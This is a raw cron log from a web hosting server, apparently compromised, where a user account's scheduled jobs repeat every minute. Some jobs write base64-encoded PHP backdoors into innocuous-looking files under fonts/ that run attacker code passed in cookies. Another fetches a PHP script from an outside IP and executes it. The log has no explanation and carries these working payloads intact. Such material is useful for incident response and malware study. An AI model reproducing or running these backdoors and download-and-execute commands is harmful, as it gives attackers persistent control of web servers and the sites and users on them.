Aug 30 21:10:01 ip-184-168-122-23 CROND[10087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:10:01 ip-184-168-122-23 CROND[10085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:10:01 ip-184-168-122-23 CROND[10086]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 21:10:01 ip-184-168-122-23 CROND[10088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:10:01 ip-184-168-122-23 CROND[10082]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:10:01 ip-184-168-122-23 CROND[10083]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:10:01 ip-184-168-122-23 CROND[10084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:11:01 ip-184-168-122-23 CROND[10177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:11:01 ip-184-168-122-23 CROND[10179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:11:01 ip-184-168-122-23 CROND[10180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:11:01 ip-184-168-122-23 CROND[10181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:12:01 ip-184-168-122-23 CROND[10337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:12:01 ip-184-168-122-23 CROND[10339]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:12:01 ip-184-168-122-23 CROND[10338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:12:01 ip-184-168-122-23 CROND[10342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:12:01 ip-184-168-122-23 CROND[10341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:13:01 ip-184-168-122-23 CROND[10431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:13:01 ip-184-168-122-23 CROND[10432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:13:01 ip-184-168-122-23 CROND[10433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:13:01 ip-184-168-122-23 CROND[10434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:14:01 ip-184-168-122-23 CROND[10520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:14:01 ip-184-168-122-23 CROND[10521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:14:01 ip-184-168-122-23 CROND[10523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:14:01 ip-184-168-122-23 CROND[10527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:14:01 ip-184-168-122-23 CROND[10528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:15:01 ip-184-168-122-23 CROND[10616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:15:01 ip-184-168-122-23 CROND[10615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:15:01 ip-184-168-122-23 CROND[10617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:15:01 ip-184-168-122-23 CROND[10621]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:15:01 ip-184-168-122-23 CROND[10622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:15:01 ip-184-168-122-23 CROND[10623]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:16:01 ip-184-168-122-23 CROND[10708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:16:01 ip-184-168-122-23 CROND[10709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:16:01 ip-184-168-122-23 CROND[10713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:16:01 ip-184-168-122-23 CROND[10712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:16:01 ip-184-168-122-23 CROND[10714]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 21:16:01 ip-184-168-122-23 CROND[10715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:17:01 ip-184-168-122-23 CROND[10806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:17:01 ip-184-168-122-23 CROND[10808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:17:01 ip-184-168-122-23 CROND[10809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:17:01 ip-184-168-122-23 CROND[10810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:18:01 ip-184-168-122-23 CROND[10886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:18:01 ip-184-168-122-23 CROND[10887]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:18:01 ip-184-168-122-23 CROND[10891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:18:01 ip-184-168-122-23 CROND[10892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:18:01 ip-184-168-122-23 CROND[10890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:19:01 ip-184-168-122-23 CROND[11061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:19:01 ip-184-168-122-23 CROND[11064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:19:01 ip-184-168-122-23 CROND[11065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:19:01 ip-184-168-122-23 CROND[11068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:20:01 ip-184-168-122-23 CROND[11153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:20:01 ip-184-168-122-23 CROND[11156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:20:01 ip-184-168-122-23 CROND[11154]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 21:20:01 ip-184-168-122-23 CROND[11157]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 21:20:01 ip-184-168-122-23 CROND[11155]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 21:20:01 ip-184-168-122-23 CROND[11160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:20:01 ip-184-168-122-23 CROND[11158]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 21:20:01 ip-184-168-122-23 CROND[11161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:20:01 ip-184-168-122-23 CROND[11162]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 21:21:01 ip-184-168-122-23 CROND[11259]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 21:21:01 ip-184-168-122-23 CROND[11260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 21:21:01 ip-184-168-122-23 CROND[11262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 21:21:01 ip-184-168-122-23 CROND[11263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 21:22:01 ip-184-168-122-23 CROND[11343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
